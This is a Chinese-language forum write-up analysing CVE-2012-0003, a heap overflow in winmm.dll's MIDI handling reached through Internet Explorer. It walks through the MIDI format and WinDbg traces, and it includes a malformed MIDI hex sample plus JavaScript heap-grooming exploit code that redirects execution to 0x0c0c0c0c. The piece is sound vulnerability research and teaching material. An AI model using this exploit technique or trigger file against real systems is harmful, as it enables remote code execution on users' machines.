CVE-2012-0003 winmm.dll MIDI文件堆溢出漏洞分析及利用
本文为看雪论坛优秀文章
看雪论坛作者ID:LarryS
1
简介
2
MIDI文件结构
2.1 基本文件组成
2.2 其他结构
2.2.1 Variable Length Quantity
2.2.2 meta event
① 0xFF 03: 在format 0及format 1的第一个track中,表示sequence的名称,其他情况下表示track的名称。
② 0xFF 2F: 标志track的结尾。
2.2.3 MIDI event
① 0x99、0x9F: 表示音符开始(note on)。后面跟两个字节,最高比特位都是0,分别表示音符编号及速度。
② 0xB9: 表示控制器(controller)的数值发生了变化。后面跟两个字节,最高比特位都是0,分别表示控制器编号及新的数值。
③ 0xC9: 表示配音号(patch number)发生了变化。后面跟一个字节,最高比特位为0,表示新的数值。
2.3 实例分析
4D 54 68 64 00 00 00 06 00 00 00 01 00 60 4D 54
72 6B 00 00 00 35 00 FF 03 0D 44 72 75 6D 73 20
20 20 28 42 42 29 00 00 C9 28 00 B9 07 64 00 B9
0A 40 00 B9 7B 00 00 B9 5B 28 00 B9 5D 00 85 50
99 23 7F 00 9F B2 73 00 FF 2F 00
4D 54 68 64 // MThd 四字节的type信息,表示这是一个header trunk
00 00 00 06 // 四字节length信息,表示该header trunk后面的长度是6字节
00 00 // Format = 0, 表示文件只包含一个multi-channel track
00 01 // num of tracks = 1,和format = 0相对应
00 60 // 对delta-times的解释,第15位为0,所以后面0x60表示ticks per quarter-note,是个音乐概念,不太懂
4D 54 72 6B // MTrk 四字节的type信息,表示这是一个track trunk
00 00 00 35 // 四字节length信息,表示该track trunk后面的长度是53字节
00 // delta-time, 这块数据采用的是variable length quantity
FF 03 0D 44 72 75 6D 73 20 20 20 28 42 42 29 00 // meta-event,sequence的名字:Drums (BB)
00 C9 28 // 新的program数值为40
00 B9 07 64 // 音量变化
00 B9 0A 40 // Pan?? 不知道是什么
00 B9 7B 00 // 所有音符结束
00 B9 5B 28 // 效果1深度
00 B9 5D 00 // 效果3深度
85 50 99 23 7F // 0x23号音符开始
00 9F B2 73 // 0xB2号音符开始,注意这里B2的最高比特位是1,是不合法的
00 FF 2F 00 // track结束
3
漏洞调试
3.1 一开始的尝试
C:\Documents and Settings\test>"C:\Program Files\Debugging Tools for Windows\gflags.exe" -i IExplore.exe +hpa
Current Registry Settings for IExplore.exe executable are: 02000000
hpa - Enable page heap
(920.36c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=2797f019 edi=2797cf60
eip=76b5d224 esp=2829fe80 ebp=2829fea0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b5d224 8a06 mov al,byte ptr [esi] ds:0023:2797f019=??
0:010> !heap -p -a 2797f019
address 2797f019 found in
_DPH_HEAP_ROOT @ 151000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
276eaaf8: 2797ec00 400 - 2797e000 2000
7c918f01 ntdll!RtlAllocateHeap+0x00000e64
76b5b2b3 WINMM!winmmAlloc+0x00000016
76b5cdee WINMM!mseOpen+0x00000044
76b5d97e WINMM!mseMessage+0x00000029
76b5a17f WINMM!midiStreamOpen+0x00000207
77bd1f7c midimap!modOpen+0x000000f8
77bd29f3 midimap!modMessage+0x0000005e
76b5a15e WINMM!midiStreamOpen+0x000001e6
748d56e9 quartz!CMidiOutDevice::DoOpen+0x00000026
748d5793 quartz!CMidiOutDevice::amsndOutOpen+0x00000059
7484bc64 quartz!CWaveOutFilter::amsndOutOpen+0x0000002e
7484bbef quartz!CWaveOutFilter::DoOpenWaveDevice+0x0000007a
7484bdfc quartz!CWaveOutFilter::OpenWaveDevice+0x00000019
7484bcc4 quartz!CWaveOutFilter::Pause+0x00000049
7482cf69 quartz!CFilterGraph::Pause+0x00000107
7482ce93 quartz!CFGControl::Cue+0x00000032
0:010> kb
ChildEBP RetAddr Args to Child
2829fea0 76b5d2e5 b2ceead0 76b5d296 00000010 WINMM!midiOutPlayNextPolyEvent+0x1ec
2829feb4 76b454e3 00000010 00000000 00000e7c WINMM!midiOutTimerTick+0x4f
2829fedc 76b5adfe 76b5d296 00000003 00000010 WINMM!DriverCallback+0x5c
2829ff18 76b5af02 00000010 015f0000 00000000 WINMM!TimerCompletion+0xf4
2829ffb4 7c80b713 00000000 015f0000 015f0000 WINMM!timeThread+0x53
2829ffec 00000000 76b5aeaf 00000000 00000000 kernel32!BaseThreadStart+0x37
0:010> lm vm WINMM
start end module name
76b40000 76b6d000 WINMM (pdb symbols) E:\symbols\dll\winmm.pdb
Loaded symbol image file: C:\WINDOWS\system32\WINMM.dll
Image path: C:\WINDOWS\system32\WINMM.dll
...
v20 = (char *)(v19 + v16);
v21 = *v20; // 异常发生位置
v16 = *(_DWORD *)(wParam + 0x84);
v19 = (wParam_3a + ((v17 & 0xF) << 7)) / 2;
0:010> dd b2ceeb54 L1
b2ceeb54 ????????
0:007> bu 76B5D038
0:007> g
Breakpoint 0 hit
eax=00000000 ebx=ffffffff ecx=7ffdf000 edx=27db4f70 esi=27db4f60 edi=27db4fb8
eip=76b5d038 esp=0013e5b0 ebp=0013e5dc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINMM!midiOutPlayNextPolyEvent:
76b5d038 8bff mov edi,edi
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=ffffffff ecx=7ffd4000 edx=27db4f70 esi=27db4f60 edi=27db4fb8
eip=76b5d038 esp=2829fea4 ebp=2829fedc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINMM!midiOutPlayNextPolyEvent:
76b5d038 8bff mov edi,edi
0:010> dd esp l4
2829fea4 76b5d2e5 27db4f60 76b5d296 00000010
0:010> db 27db4f60
27db4f60 00 00 00 00 b8 cf da 27-80 00 00 00 00 00 00 00 .......'........
27db4f70 e0 6f 5b 04 00 00 00 00-01 00 00 00 b8 06 00 00 .o[.............
27db4f80 00 00 00 00 00 00 00 00-34 12 34 12 60 00 00 00 ........4.4.`...
27db4f90 20 a1 07 00 00 00 00 00-00 00 00 00 c0 af de 27 ..............'
27db4fa0 c0 af de 27 a4 9e b5 76-00 00 03 00 00 00 00 00 ...'...v........
27db4fb0 00 00 00 00 b9 00 00 00-00 00 00 00 00 00 00 00 ................
27db4fc0 a4 11 a6 02 00 77 01 00-20 a1 07 00 02 00 00 00 .....w.. .......
27db4fd0 9d cd b5 76 d0 02 00 00-00 00 00 00 00 00 00 00 ...v............
3.2 关于”导图推算“
void __stdcall midiOutPlayNextPolyEvent(WPARAM wParam) {
if ( !*(wParam + 0x34) ) {
while ( 1 ) {
while ( 1 ) {
v2 = *(wParam + 0x3C);
if ( !v2 )
return;
if ( midiOutScheduleNextEvent(wParam) )
break;
midiOutDequeueAndCallback(wParam);
}
...
v2[9] += 4;
v7 = v2[9];
...
v7 += 4;
...
v8 = *(v7 + wParama);
...
v10 = v8 & 0xFFFFFF;
...
v16 = *(wParam + 0x84);
...
}
v17 = v10;
if ( (v10 & 0x80u) != 0 ) {
wParam_3a = BYTE1(v10);
...
} else {
v17 = *(wParam + 0x54);
wParam_3a = v10;
...
}
v33 = v17 & 0xF0;
if ( (v17 & 0xF0) == 0x90 || (v17 & 0xF0) == 0x80 ) {
v19 = (wParam_3a + ((v17 & 0xF) << 7)) / 2;
if...
v20 = (v19 + v16);
v21 = *v20; // 异常发生位置
v22 = *v20;
if...
}
...
}
}
.text:76B5D041 8B 7D 08 mov edi, [ebp+wParam] // wParam
.text:76B5D050 8B 77 3C mov esi, [edi+3Ch] // v2
.text:76B5D09D 83 C3 04 add ebx, 4 // v7
.text:76B5D0B5 8B 0C 03 mov ecx, [ebx+eax] // v8
.text:76B5D0C3 81 E1 FF FF FF 00 and ecx, 0FFFFFFh // v10
.text:76B5D1C7 8A C1 mov al, cl // v17=v10
.text:76B5D1CD 8A 47 54 mov al, [edi+54h] // v17
.text:76B5D1EB 88 55 0B mov byte ptr [ebp+wParam+3], dl // wParam_3a
.text:76B5D1D0 88 4D 0B mov byte ptr [ebp+wParam+3], cl // wParam_3a
.text:76B5D212 D1 F8 sar eax, 1 // v19
.text:76B5D1B9 8B B7 84 00 00 00 mov esi, [edi+84h] // v16
.text:76B5D21E 03 F0 add esi, eax // v20
断点 输出 变量
76B5D044 edi wParam
76B5D053 esi v2
76B5D0A0 ebx v7
76B5D0B8 ecx v8
76B5D0C9 ecx v10
76B5D1C9 al v17
76B5D1D0 al v17
76B5D1EB dl wParam_3a
76B5D1D0 cl wParam_3a
76B5D214 eax v19
76B5D1BF esi v16
76B5D220 esi v20
(920.ffc): Break instruction exception - code 80000003 (first chance)
eax=7ffdd000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c90120e esp=044affcc ebp=044afff4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
ntdll!DbgBreakPoint:
7c90120e cc int 3
0:007> bu 76B5D038
0:007> g
Breakpoint 0 hit
eax=00000000 ebx=ffffffff ecx=7ffdf000 edx=27db4f70 esi=27db4f60 edi=27db4fb8
eip=76b5d038 esp=0013e5b0 ebp=0013e5dc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINMM!midiOutPlayNextPolyEvent:
76b5d038 8bff mov edi,edi
0:000> bp 76B5D044 ".echo 'wParam';r edi;g;"
0:000> bp 76B5D053 ".echo 'v2';r esi;g;"
0:000> bp 76B5D0A0 ".echo 'v7';r ebx;g;"
0:000> bp 76B5D0B8 ".echo 'v8';r ecx;g;"
0:000> bp 76B5D0C9 ".echo 'v10';r ecx;g;"
0:000> bp 76B5D1C9 ".echo 'v17';r al;g;"
0:000> bp 76B5D1D0 ".echo 'v17';r al;.echo 'wParam_3a';r cl;g;"
0:000> bp 76B5D1EB ".echo 'wParam_3a';r dl;g;"
0:000> bp 76B5D214 ".echo 'v19';r eax;g;"
0:000> bp 76B5D1BF ".echo 'v16';r esi;g;"
0:000> bp 76B5D220 ".echo 'v20';r esi;g;"
0:000> g
3.3 数值与异常分析
除此之外,可以发现:
(1)V16的值在两次函数调用的过程中都没有发生变化;
(2)V2的值在每次函数调用的过程中不会发生变化;
(3)V7以每次0xC在递增;
(4)V8和V10的数值相同,且低两位分别对应于V17和WParam_3a的值;
(5)在第一次函数调用时,函数并不会执行到处理v19和v20的代码处。
if ( (v17 & 0xF0) == 0x90 || (v17 & 0xF0) == 0x80 )
if ( v33 == (char)0x80 || !(_BYTE)v18 ) {
// 这里执行一些操作,然后直接跳出了上层循环
}
// 异常发生在这里
v20 = (char *)(v19 + v16);
v19 = (wParam_3a + ((v17 & 0xF) << 7)) / 2;
0:010> !heap -p -a 27db6c00
address 27db6c00 found in
_DPH_HEAP_ROOT @ 151000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
277ca4b8: 27db6c00 400 - 27db6000 2000
7c918f01 ntdll!RtlAllocateHeap+0x00000e64
76b5b2b3 WINMM!winmmAlloc+0x00000016
76b5cdee WINMM!mseOpen+0x00000044
76b5d97e WINMM!mseMessage+0x00000029
76b5a17f WINMM!midiStreamOpen+0x00000207
...
(b30.8d8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000400 ebx=00000073 ecx=0073809f edx=00000000 esi=27c61000 edi=04ad4f60
eip=76b5d224 esp=27f5fe80 ebp=27f5fea0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b5d224 8a06 mov al,byte ptr [esi] ds:0023:27c61000=??
0:010> !heap -p -a 27c61000
address 27c61000 found in
_DPH_HEAP_ROOT @ 151000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
272ddec8: 27c60c00 400 - 27c60000 2000
.text:76B5CDE4 68 00 04 00 00 push 400h ; dwBytes
.text:76B5CDE9 E8 AF E4 FF FF call _winmmAlloc@4 ; winmmAlloc(x)
4
漏洞利用
4.1 漏洞能做些什么
v21 = *v20; // 异常发生位置
v22 = *v20;
if ( (wParam_3a & 1) != 0 ) {
if ( (v22 & 0xF0) != 0xF0 ) {
v23 = v21 + 0x10;
LABEL_39:
*v20 = v23;
goto LABEL_46;
}
} else if ( (v22 & 0xF) != 0xF ) {
v23 = v21 + 1;
goto LABEL_39;
}
if ( (wParam_3a & 1) != 0 ) // 判断失败
else if ( (v22 & 0xF) != 0xF ) // 判断成功,执行
v23 = v21 + 1;
goto LABEL_39;
//跳转进行写操作:
*v20 = v23;
4.2 先验知识
.text:7DD18E62 FF 15 14 13 C3 7D call ds:__imp__GetProcessHeap@0 ; GetProcessHeap()
.text:7DD18E68 FF 75 10 push [ebp+lpReserved]
.text:7DD18E6B A3 84 5B ED 7D mov _g_hProcessHeap, eax
Retrieves a handle to the default heap of the calling process
.text:76B43F8F 64 A1 18 00 00 00 mov eax, large fs:18h // TEB
.text:76B43F95 8B 40 30 mov eax, [eax+30h] // 对应的PEB
.text:76B43F98 8B 40 18 mov eax, [eax+18h] // ProcessHeap
.text:76B43F9B A3 C8 00 B6 76 mov _hHeap, eax
hHeap = NtCurrentTeb()->ProcessEnvironmentBlock->ProcessHeap;
4.3 漏洞利用原理与代码修复
var selob = document.createElement("select")
selob.w0 = alert
selob.w1 = unescape("%u1be4%u0c0c")
selob.w2 = alert
...
selob.w62 = alert
selob.w63 = alert
var clones=new Array(1000);
function feng_shui() {
var i = 0;
while (i < 1000) {
clones[i] = selob.cloneNode(true)
i = i + 1;
}
var j = 0;
while (j < 1000) {
delete clones[j];
CollectGarbage();
j = j + 2;
}
}
feng_shui();
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w1) == "string") {
} else {
clones[k].w1('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
0:000> x mshtml!*Array*Clone
7ddae7a5 mshtml!CAttrArray::Clone = <no type information>
int __thiscall CAttrArray::Clone(CAttrArray *this, struct CAttrArray **a2)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v19 = 0;
v3 = (CAttrArray *)_MemAlloc(0xCu);
if ( v3 )
v4 = CAttrArray::CAttrArray(v3);
else
v4 = 0;
*a2 = v4;
if...
v17 = CImplAry::EnsureSize(v4, 0x10u, *(_DWORD *)this >> 2);
if...
v8 = (struct CAttrArray **)*((_DWORD *)*a2 + 1);
v18 = 0;
v16 = 0;
v9 = *((_DWORD *)this + 1);
v20 = v8;
if ( *(_DWORD *)this >> 2 )
{
while ( 1 )
{
if ( *(_BYTE *)v9 != 3 || v19 )
{
v15 = *(_DWORD *)(v9 + 4);
if ( v15 != 0x800103ED )
{
*((_BYTE *)v8 + 1) = 0;
v17 = CAttrValue::Copy((CAttrValue *)v8, (const struct CAttrValue *)v9);
...
a3 = UIntMult(v6, v5, &dwBytes); // 这里在对传入的两个参数相乘,结果保存在dwBytes中
v13 = _MemAlloc(dwBytes); // 然后分配了dwBytes大小的空间
0:000> p
eax=034add90 ebx=034adcac ecx=034add90 edx=00000042 esi=034abc10 edi=00000000
eip=7ddae7ff esp=0013de68 ebp=0013de90 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CAttrArray::Clone+0x5a:
7ddae7ff e8acb8eeff call mshtml!CImplAry::EnsureSize (7dc9a0b0)
0:000> dd esp l3
0013de68 00000010 00000042 00000000
mov esi, ecx
call ?Free@CAttrValue@@QAEXXZ ; CAttrValue::Free(void)
mov ecx, [ebp+arg_0] ; this
mov eax, [ecx+8]
mov [esi+8], eax
mov eax, [ecx+4]
mov [esi+4], eax
mov eax, [ecx]
mov [esi], eax
0:000> g
Breakpoint 1 hit
eax=002dc6c1 ebx=034adcac ecx=040b0b80 edx=7c90e4f4 esi=034abc10 edi=03942ba0
eip=7ddae84c esp=0013de6c ebp=0013de90 iopl=0 ov up ei ng nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000a97
mshtml!CAttrArray::Clone+0xa8:
7ddae84c e829f9ffff call mshtml!CAttrValue::Copy (7ddae17a)
0:000> dd esp l1
0013de6c 03942ba0
0:000> db 3942ba0
03942ba0 02 09 00 00 c1 c6 2d 00-00 00 00 00 20 bb 4a 03 ......-..... .J.
03942bb0 02 08 00 00 c2 c6 2d 00-00 00 00 00 e4 8f 44 03 ......-.......D.
03942bc0 02 09 00 00 c3 c6 2d 00-00 00 00 00 60 bc 4a 03 ......-.....`.J.
03942bd0 02 09 00 00 c4 c6 2d 00-00 00 00 00 d0 bc 4a 03 ......-.......J.
03942be0 02 09 00 00 c5 c6 2d 00-00 00 00 00 50 bd 4a 03 ......-.....P.J.
03942bf0 02 09 00 00 c6 c6 2d 00-00 00 00 00 e0 bd 4a 03 ......-.......J.
03942c00 02 09 00 00 c7 c6 2d 00-00 00 00 00 80 be 4a 03 ......-.......J.
03942c10 02 09 00 00 c8 c6 2d 00-00 00 00 00 30 bf 4a 03 ......-.....0.J.
selob.w0 = alert
selob.w1 = unescape("%u1be4%u0c0c")
selob.w2 = alert
selob.w3 = alert
...
0:000> !heap -p -a ecx
address 040b0b80 found in
_DPH_HEAP_ROOT @ 151000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
288be00: 40b0b80 480 - 40b0000 2000
7c918f01 ntdll!RtlAllocateHeap+0x00000e64
7dc9c980 mshtml!_MemAlloc+0x00000065
7dc9aa9b mshtml!_MemRealloc+0x00000037
7dc9c9a5 mshtml!CImplAry::EnsureSize+0x000000f9
7ddae804 mshtml!CAttrArray::Clone+0x0000005f
7dd89b16 mshtml!CElement::Clone+0x00000140
7ddc33ef mshtml!CElement::cloneNode+0x00000158
...
bu 7DDAE810 ".echo 'Clone Alloc ';r ecx;g"
bu 76B5CDEE ".echo 'winmmAlloc ';r eax;g"
...
'Clone Alloc '
ecx=0020c3b8
'Clone Alloc '
ecx=0020c840
'Clone Alloc '
ecx=0020ccc8
...
'winmmAlloc '
eax=0020c840
Breakpoint 2 hit
eax=00000251 ebx=0000007f ecx=007f2399 edx=00000000 esi=0020ca91 edi=001ad6c0
eip=76b5d224 esp=22effe80 ebp=22effea0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b5d224 8a06 mov al,byte ptr [esi] ds:0023:0020ca91=00
0:010> g
Breakpoint 2 hit
eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=0020cc59 edi=001ad6c0
eip=76b5d224 esp=22effe80 ebp=22effea0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b5d224 8a06 mov al,byte ptr [esi] ds:0023:0020cc59=00
'Clone Alloc '
ecx=001e7e88
'Clone Alloc '
ecx=001e8290
'Clone Alloc '
ecx=001e8698
...
'winmmAlloc '
eax=001e8290
Breakpoint 2 hit
eax=00000251 ebx=0000007f ecx=007f2399 edx=00000000 esi=001e84e1 edi=001ad4c8
eip=76b5d224 esp=22e7fe80 ebp=22e7fea0 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b5d224 8a06 mov al,byte ptr [esi] ds:0023:001e84e1=00
0:010> g
Breakpoint 2 hit
eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=001e86a9 edi=001ad4c8
eip=76b5d224 esp=22e7fe80 ebp=22e7fea0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b5d224 8a06 mov al,byte ptr [esi] ds:0023:001e86a9=09
0:010> db 001e8698
001e8698 03 81 00 00 00 00 00 80-00 00 00 00 10 31 32 01 .............12.
001e86a8 02 09 00 00 c1 c6 2d 00-00 00 00 00 20 bb 32 01 ......-..... .2.
001e86b8 02 08 00 00 c2 c6 2d 00-00 00 00 00 dc 64 1d 00 ......-......d..
001e86c8 02 09 00 00 c3 c6 2d 00-00 00 00 00 60 bc 32 01 ......-.....`.2.
001e86d8 02 09 00 00 c4 c6 2d 00-00 00 00 00 d0 bc 32 01 ......-.......2.
001e86e8 02 09 00 00 c5 c6 2d 00-00 00 00 00 50 bd 32 01 ......-.....P.2.
001e86f8 02 09 00 00 c6 c6 2d 00-00 00 00 00 e0 bd 32 01 ......-.......2.
001e8708 02 09 00 00 c7 c6 2d 00-00 00 00 00 80 be 32 01 ......-.......2.
0:010> g
Breakpoint 2 hit
eax=00000419 ebx=00000073 ecx=0073b29f edx=00000000 esi=001ef6c9 edi=001ad4a0
eip=76b5d224 esp=22effe80 ebp=22effea0 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WINMM!midiOutPlayNextPolyEvent+0x1ec:
76b5d224 8a06 mov al,byte ptr [esi] ds:0023:001ef6c9=08
HRESULT __thiscall CAttrValue::GetIntoVariant(CAttrValue *this, struct tagVARIANT *pvargDest) {
v2 = 0;
pvargDest->vt = 0;
if ( *((_BYTE *)this + 1) == 8 ) { // 这里应该就是在判断类型,是string
...
}
if ( *((_BYTE *)this + 1) != 9 ) { // 如果类型不是object
...
}
v4 = *((_DWORD *)this + 3);
if ( v4 )
(*(void (__stdcall **)(_DWORD))(*(_DWORD *)v4 + 4))(*((_DWORD *)this + 3));
pvargDest->lVal = *((_DWORD *)this + 3);
pvargDest->vt = *((unsigned __int8 *)this + 1);
return v2;
0:000> bp 7DDADFE5
0:000> g
Breakpoint 3 hit
eax=001c16b4 ebx=00000000 ecx=001ef6c8 edx=0000003f esi=001ef6c8 edi=0013bbe4
eip=7ddadfe5 esp=0013b91c ebp=0013b928 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CAttrValue::GetIntoVariant+0x4a:
7ddadfe5 8b08 mov ecx,dword ptr [eax] ds:0023:001c16b4=0c0c1be4
0:000> p
eax=001c16b4 ebx=00000000 ecx=0c0c1be4 edx=0000003f esi=001ef6c8 edi=0013bbe4
eip=7ddadfe8 esp=0013b918 ebp=0013b928 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CAttrValue::GetIntoVariant+0x4d:
7ddadfe8 ff5104 call dword ptr [ecx+4] ds:0023:0c0c1be8=0c0c0c0c
4.4 进一步分析
// 这里是函数一开始,此时dwBytes指的是第二个参数,每个属性占用的空间大小0x10
v5 = dwBytes;
...
// 这里做了一个加法 nAttrib+7,结果保存在dwBytes中
arg_4 = UIntAdd(nAttrib, 7u, &dwBytes);
...
// 这里其实在做一个对齐,如果属性个数超过7,就会和8对齐
// 也就是说如果有9个属性,v6就等于16
v6 = nAttrib >= 8 ? dwBytes & 0xFFFFFFF8 : nAttrib;
...
// 对齐之后的属性个数 * 0x10
arg_4 = UIntMult(v6, v5, &dwBytes);
...
v13 = _MemAlloc(dwBytes);
0:000> bp 7ddae810
0:000> bp 7DDAE851
0:000> g
Breakpoint 1 hit
eax=01328fc0 ebx=01328edc ecx=020c0450 edx=00150608 esi=01327a30 edi=00000000
eip=7ddae810 esp=0013de70 ebp=0013de90 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CAttrArray::Clone+0x6b:
7ddae810 8b06 mov eax,dword ptr [esi] ds:0023:01327a30=00000100
0:000> db 020c0450
020c0450 02 09 00 00 c1 c6 2d 00-00 00 00 00 40 79 32 01 ......-.....@y2.
020c0460 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020c0470 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020c0480 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020c0490 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020c04a0 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020c04b0 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
020c04c0 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
0:000> ba w4 020c0450
0:000> bl
0 e 7ddae7a5 0001 (0001) 0:**** mshtml!CAttrArray::Clone
1 e 7ddae810 0001 (0001) 0:**** mshtml!CAttrArray::Clone+0x6b
2 e 7ddae851 0001 (0001) 0:**** mshtml!CAttrArray::Clone+0xad
3 e 020c0450 w 4 0001 (0001) 0:****
0:000> bd 2
0:000> g
Breakpoint 3 hit
eax=00000010 ebx=01328fc0 ecx=00000003 edx=00000000 esi=0013de4c edi=020c0454
eip=7dc9ca22 esp=0013de20 ebp=0013de2c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mshtml!CImplAry::InsertIndirect+0x75:
7dc9ca22 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:020c0454=002dc6c1 ds:0023:0013de4c=80000000
0:000> kb
ChildEBP RetAddr Args to Child
0013de2c 7dcf6242 00000000 00000000 0013de48 mshtml!CImplAry::InsertIndirect+0x75
0013de58 7dcf61d4 00000000 0013de90 7ddae8f5 mshtml!CAttrArray::SetHeader+0x5c
0013de64 7ddae8f5 00000001 00000000 01327850 mshtml!CAttrArray::EnsureHeader+0x26
0013de90 7dd89b16 020c0830 01327850 0019c0c8 mshtml!CAttrArray::Clone+0x151
0013df28 7ddc33ef 0013e000 0019c0c8 00000000 mshtml!CElement::Clone+0x140
0013dff8 7ddceb08 00000000 0132ffff 0013e2d8 mshtml!CElement::cloneNode+0x158
...
5
减1操作漏洞
if ( (v17 & 0xF0) == 0x90 || (v17 & 0xF0) == 0x80 ) {
v19 = (wParam_3a + ((v17 & 0xF) << 7)) / 2;
if ( v33 == (char)0x80 || !(_BYTE)v18 ) { // 如果状态码是8x
v24 = (_BYTE *)(v19 + v16);
v25 = *(_BYTE *)(v19 + v16);
if ( (wParam_3a & 1) != 0 ) {
...
} else {
...
v26 = v25 - 1;
}
*v24 = v26;
goto LABEL_46;
}
v20 = (char *)(v19 + v16); // 下面是状态码为9x时执行的操作
v21 = *v20; // 异常发生位置
v22 = *v20;
...
}
6
总结
7
参考资料
看雪ID:LarryS
https://bbs.pediy.com/user-home-600394.htm
官网:https://www.bagevent.com/event/6334937
# 往期推荐
1.从两道0解题看Linux内核堆上msg_msg对象扩展利用
2. Android APP漏洞之战——Broadcast Recevier漏洞详解
6. CVE-2012-3569 VMware OVF Tool格式化字符串漏洞分析
球分享
球点赞
球在看
点击“阅读原文”,了解更多!